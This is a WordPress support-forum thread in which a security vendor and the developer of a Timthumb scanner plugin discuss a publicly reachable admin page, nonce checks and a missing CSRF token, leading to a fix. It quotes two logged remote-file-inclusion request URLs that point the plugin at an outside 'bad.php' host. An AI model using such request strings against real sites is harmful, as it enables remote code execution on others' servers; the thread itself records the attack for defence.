[Plugin: Timthumb Vulnerability Scanner] Code Mods ASAP

Thanks for the heads up, AITPro! The plugin has been taken down for now, but that means the vuln still exists on people’s sites – I’ll have an update pushed live tomorrow morning, at the very latest.

yep no problem. better to find out this way then having an angry user ranting at you. We made a major coding boo boo ourselves in 2011 and got lucky that it did not get exploited. The WP folks are awesome and very helpful and are coders themselves so they understand that coding mistakes just happen sometimes. ??

And what is very important to note here is that the recon attempts were all unsuccessful so this is not a serious vulnerability and just a procedural button down the hatch thing to keep the sniffers sniffing somewhere’s else. ??

Alright – after looking through the code (it’s been a while since I wrote this/thought about it), I have some questions – because this still looks secure to me. Well – I should point out: The page should NOT be accessible without authentication, I totally agree.

However, I’m not sure my nonce implementation is wrong, or that anything can be done from accessing that page outside of wp-admin. I don’t use check_admin_referer(), but I do use wp_verify_nonce(), on the code where the actual actions are performed. If the nonce doesnt match, no action is performed (assuming I’m using wp_verify_nonce() right, but I believe I am). This post:

https://markjaquith.wordpress.com/2006/06/02/wordpress-203-nonces/

recommends using check_admin_referer(), as you do. However – this post:

https://www.prelovac.com/vladimir/improving-security-in-wordpress-plugins-using-nonces

suggests wp_verify_nonce – based on the style of my code, I’m guessing I pulled it straight from that post.

Further – the processing code is not in that file (cg-tvs-admin-panel-display.php). That file really just holds display code – the file that does do the processing is class-cg-tvs-plugin.php at line 253. At line 255, before any processing happens, we check if the user has permission to manage options. After that, on lines 272, 283, and 295, you can see where those nonces get checked, based on what the user is trying to do.

Again – I don’t mean to imply there’s no problem here – there is, and I want to fix it – but I want to make sure I know what was wrong and why it was wrong, so I can make sure it gets fixed properly.

A couple of other things:

• I’ll throw in a blank index.php file to prevent directory listing. I should have done this already
• The only reason the page that loads at all is because there’s very little interaction with wordpress – it’s almost all display code (which I mostly try to keep separate from the processing code). However, this makes me realize: All the files in teh plugin *can* be loaded externally, they just fail because they’re trying to interact with WordPress. Is it best practice to include code on *every* plugin file (well, php file) to prevent direct loading? This situation makes me think it is, but I’d love some further input.

I think that covers it. Again – based on my understanding of nonces, and the fact that processing code is stored in another file, which has a permissions check, I don’t think there’s the potential for malicious intent here – but I want to make sure I’ve got my ducks in a row before I release an update. Regardless, I’ll put out an update with the aforementioned changes tomorrow morning – I’d just rather make sure it’s right than have to make 2 releases.

Thanks!

After reading further on the second nonce link, it appears that check_admin_referer() is used for putting a nonce on a link (or, I suppose, a form posted using GET), where wp_verify_nonce() is used to check a nonce posted in a form.

It would be nice to get some confirmation on that though.

Well since you are taking a different approach to nonces then maybe it is ok, but the method i use allows me to right click the page, view the source code and i can see the randomly generated nonce that wp generates for the form in the source code. When i view your source code i do not see that the nonce is generated, but i maybe your method does this after form processing? I am by no means a WP expert and still look up what WP hooks do what just so i don’t screw up so i think you should ask the WP folks about this directly.

The randomly generated code is there – it’s in a hidden input with a name of “_wpnonce”. Here’s how the code looks once it’s generated in the admin section:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="2b99b85b2f" /><input type="hidden" name="_wp_http_referer" value="/wp-admin/tools.php?page=cg-timthumb-scanner&tab=options" />

I agree though, I’ll see if I can get anybody higher up to have a look at this thread and make sure everything looks kosher.

I was in a hurry (doing 10 things at once as usual sigh) when i posted my last comment so i’m posting again to point out what i think is really the most important point, which is if you kill viewing/any possible interaction with that page (even though it does not have anything obviously exploitable in it) then you could even get away with not adding a nonce at all.

These are a couple of REQUEST_URI’s that I logged in a Trap. I was unable to grab the bad.php file to find out what was on the other end of the RFI, otherwise i would have been able to tell you exactly what was intended. Any way since the cg-tvs-admin-panel.php file was targeted specifically then there is something useful to them in that file. Could be just simple recon or could be worse.

REQUEST_URI: /aitpro-blog/tag/timthumb-code-finder/wp-content/plugins/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php?src=https://flickr.com.bpmohio.com/bad.php

REQUEST_URI: /aitpro-blog/tag/wp-content/plugins/timthumb-vulnerability-scanner/cg-tvs-admin-panel.php?src=https://flickr.com.bpmohio.com/bad.php

If i was creating a stand alone app then of course a page like this would be behind some sort of authentication, but since you have to work with WP then things are different of course.

Any way using the direct call prevention coding that i posted is really simple and very effective way to make the page unviewable and would of course generate a 403 error and kill the RFI attempt.

I’ve never used wp_verify_nonce before, but the Codex states “Verify that correct nonce was used with time limit.”
$nonce is (required) Nonce that was used in the form to verify.
So logically to me the usage would indicate that a nonce would already need to have been generated for a form and this particular function would do an additional verification with an additional time limit imposed/check. So if i understand this correctly then you would use wp_verify_nonce in addtion to using

form processing code
“Tests if the current request was referred from an admin page, or (given $action parameter) if the current request carries a valid nonce. Used to avoid security exploits.”
check_admin_referer( ‘update_tvs_options’ );

form field
“The nonce field is used to validate that the contents of the form came from the location on the current site and not somewhere else. The nonce does not offer absolute protection, but should protect against most cases. It is very important to use nonce fields in forms.”
wp_nonce_field( ‘update_tvs_options’);

You posted while i was still typing. ??

I did not look at any code or pages beyond the one page so yeah that looks right to me – you are generating a nonce on the admin page, so yeah just make the page inaccessible to the public and i think you are good to go. I can usually grab hackers scripts without any problem, but this site went down and was inaccessible before i could grab the bad.php file. bummer. Would have been nice to know what was on the other end. ??

I didn’t check to see if you were using is_admin(), but that is a handy function too. ??

Ah. Makes sense. I’ll definitely get those pages locked down – regardless of whether or not there *is* something they’re getting at, I’d rather play it safe and make sure we havent missed anything.

What I find interesting about the urls you logged is this: The attacker is spoofing flickr.com in a way that timthumb would have been vulnerable to (prior to version 2.0). That feels awfully coincidental considering the fact that the plugin scans for timthumb…

I wonder if the attack is targeting this file because they’re mistaking it for an actual instance of timthumb?

I took a look at both links that you posted and i was not even aware of the wp_create_nonce function. Guess i took a fork in the road and never looked around after that. LOL

Yep I also found that ironically twisted myself and actually thought it was a hacker playing around or joking. Yep I think that you are correct that they are randomly sniffing for an instance of “timthumb” and their script is probably throwing in random variables in the string. Since i could not grab the hackers script i did some Googling – try this search “cg-tvs-admin-panel-display.php” – I contacted you about 5 minutes later. ??

Actually this search term narrows down the indexed results to a realistic number – “cg-tvs-admin-panel-display.php When you click “Scan”, we’ll scan all of the php in your wp-content directory looking for the timthumb script”

Interesting stuff in that search. Lesson learned: Make sure your files are not directly accessible, even if they seem harmless!

I’ve just submitted an update to the plugin – hopefully it will be reviewed/released shortly.

Thanks!

Yep you got it. And if i had time to look deeper into your coding then my original post would have been titled “Laundry Day – you have some dirty laundry that needs washing” LOL

After looking deeper into it (late night is my spare time since I normally pull 16 hour days 7 days a week and then if i am still standing i can do spare time things after that 16 hour mark) your code looked fine and all that was really needed was just that nick nack publicly displayed page issue.

Hello, i agree AITPro, no page have to be reachable from outsire the plugin.
Also, a nonce is missing on “Scan” link, please add one, this admin action is affected by WSRF flaw without token.
See you !

Just to be clear, we all agree with AITPro. There was never an argument about whether or not pages should be accessible from outside the plugin.

You’re right, there should probably be a nonce on the scan link. I’ll get that put in.

Hey Pete now this is all worked out please request that the WP folks deep 6 this thread. No point in having it linger if you get my drift. ?? Thanks.